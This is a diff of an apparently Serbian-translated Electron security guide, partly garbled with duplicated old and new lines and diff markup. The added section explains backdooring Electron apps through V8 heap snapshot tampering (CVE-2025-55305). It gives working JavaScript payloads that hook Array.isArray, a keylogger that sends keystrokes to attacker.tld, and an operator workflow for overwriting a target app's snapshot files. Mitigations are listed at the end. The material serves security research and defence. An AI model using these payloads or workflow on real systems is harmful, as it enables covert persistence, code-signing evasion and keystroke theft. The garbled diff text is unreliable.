- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je open source VS Code dodatak za Electron aplikacije koji koristi Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih biblioteka trećih strana
|
||||
- [**Electro.ng**](https://electro.ng/): Morate ga kupiti
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikovanje pogrešnih konfiguracija i sigurnosnih anti-patterna u Electron aplikacijama.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je open-source VS Code plugin za Electron aplikacije koji koristi Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih biblioteka treće strane
|
||||
- [**Electro.ng**](https://electro.ng/): Potrebno je kupiti
|
||||
|
||||
## Labs
|
||||
|
||||
U [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete pronaći laboratoriju za eksploataciju ranjivih Electron aplikacija.
|
||||
U [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete naći lab vežbu za eksploatisanje ranjivih Electron aplikacija.
|
||||
|
||||
Neke komande koje će vam pomoći u laboratoriji:
|
||||
Neke komande koje će vam pomoći u labu:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -432,14 +435,127 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## **Reference**
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Electron and Chromium-based apps deserijalizuju unapred izgrađen V8 heap snapshot pri pokretanju (v8_context_snapshot.bin, i opciono browser_v8_context_snapshot.bin) da bi inicijalizovale svaki V8 isolate (main, preload, renderer). Istorijski, Electron’s integrity fuses nisu tretirale ove snapshot-e kao izvršni sadržaj, pa su izbegavali i fuse-based integrity enforcement i OS code-signing checks. Kao rezultat, zamena snapshot-a u instalaciji koja je upisiva od strane korisnika omogućavala je prikriveno, trajno izvršavanje koda unutar aplikacije bez izmene potpisanih binarnih fajlova ili ASAR.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation i OnlyLoadAppFromAsar validiraju JavaScript aplikacije unutar ASAR-a, ali nisu pokrivali V8 heap snapshots (CVE-2025-55305). Chromium isto tako ne vrši integrity-check snapshot-a.
|
||||
- Attack preconditions: Lokalni upis fajla u direktorijum instalacije aplikacije. Ovo je uobičajeno na sistemima gde su Electron apps ili Chromium browsers instalirani u putanjama koje korisnik može pisati (npr. %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||
- Effect: Pouzdano izvršavanje attacker JavaScript-a u bilo kom isolate-u prebrisavanjem često korišćenog builtin-a (a “gadget”), omogućavajući persistenciju i izbegavanje code-signing verifikacije.
|
||||
- Affected surface: Electron apps (čak i sa omogućenim fuses) i Chromium-based browsers koji učitavaju snapshot-e iz lokacija koje korisnik može pisati.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Koristite prebuilt electron/mksnapshot da kompajlirate payload JS u snapshot i prepišete v8_context_snapshot.bin aplikacije.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
// Replace the application’s v8_context_snapshot.bin with the generated file
|
||||
|
||||
const orig = Array.isArray;
|
||||
|
||||
// Use Array.isArray as a ubiquitous gadget
|
||||
Array.isArray = function () {
|
||||
// Executed whenever the app calls Array.isArray
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Rukovođenje izvršavanjem prema isolate-u (pokreni različit kod u main i renderer)
|
||||
- Detekcija main procesa: Node-only globals kao što su process.pid, process.binding(), ili process.dlopen prisutni su u izolatu glavnog procesa.
|
||||
- Detekcija browser/renderer: Browser-only globals kao što je alert dostupni su kada se izvršavaš u kontekstu dokumenta.
|
||||
|
||||
Primer gadgeta koji jednom ispituje Node mogućnosti glavnog procesa
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
Array.isArray = function() {
|
||||
// Defer until we land in main (has Node process)
|
||||
try {
|
||||
if (!process || !process.pid) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
// Run once
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
console.log('[payload] isArray hook started ...');
|
||||
|
||||
// Capability probing in main
|
||||
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
|
||||
process.exit(0);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
PoC za krađu podataka iz Renderer/browser-context (npr. Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
// Wait for a browser context
|
||||
try {
|
||||
if (!alert) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
setInterval(() => {
|
||||
window.onkeydown = (e) => {
|
||||
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
|
||||
}
|
||||
}, 1000);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Tok rada operatera
|
||||
1) Napišite payload.js koji clobbers uobičajeni builtin (npr. Array.isArray) i po potrebi grana po isolate.
|
||||
2) Sastavite snapshot bez Chromium izvora:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Prepišite snapshot fajl(ove) ciljne aplikacije:
|
||||
- v8_context_snapshot.bin (uvek se koristi)
|
||||
- browser_v8_context_snapshot.bin (ako se koristi fuse LoadBrowserProcessSpecificV8Snapshot)
|
||||
4) Pokrenite aplikaciju; gadget se izvršava svaki put kad se koristi izabrani builtin.
|
||||
|
||||
Napomene i razmatranja
|
||||
- Integrity/signature bypass: Snapshot fajlovi se ne tretiraju kao native izvršni fajlovi od strane provera potpisivanja koda i (istorijski) nisu bili pokriveni Electron’s fuses ili Chromium integritetskim kontrolama.
|
||||
- Persistence: Zamena snapshot-a u instalaciji kojom korisnik može pisati obično preživi restart aplikacije i izgleda kao potpisana, legitimna aplikacija.
|
||||
- Chromium browsers: Isti koncept manipulacije važi i za Chrome/derivate instalirane na lokacijama u kojima korisnik ima pravo pisanja. Chrome ima druge mitigacije integriteta, ali eksplicitno isključuje fizički lokalne napade iz svog threat model-a.
|
||||
|
||||
Detekcija i mitigacije
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
||||
|
||||
## **References**
|
||||
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
|
||||
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
|
||||
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||||
- Više istraživanja i članaka o Electron bezbednosti u [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user